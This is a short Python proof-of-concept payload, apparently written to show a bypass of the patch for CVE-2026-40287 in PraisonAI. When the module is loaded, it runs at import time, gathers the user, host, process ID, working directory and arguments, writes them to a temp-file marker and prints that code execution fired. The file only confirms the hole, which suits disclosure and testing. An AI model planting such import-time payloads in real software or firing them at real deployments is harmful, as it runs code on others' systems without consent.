"""Payload — runs at top-level on import via spec.loader.exec_module()."""
import os
import sys
import tempfile
import getpass
import datetime
import socket

marker = os.path.join(
    tempfile.gettempdir(),
    f"praisonai_pwn_{int(datetime.datetime.now().timestamp())}.txt",
)
with open(marker, "w") as f:
    f.write("=== CVE-2026-40287 patch bypass — code execution confirmed ===\n")
    f.write(f"timestamp: {datetime.datetime.now().isoformat()}\n")
    f.write(f"user:      {getpass.getuser()}\n")
    f.write(f"host:      {socket.gethostname()}\n")
    f.write(f"pid:       {os.getpid()}\n")
    f.write(f"cwd:       {os.getcwd()}\n")
    f.write(f"argv:      {sys.argv}\n")

print(f"[CVE-2026-40287-bypass] RCE fired. Marker written to: {marker}", flush=True)
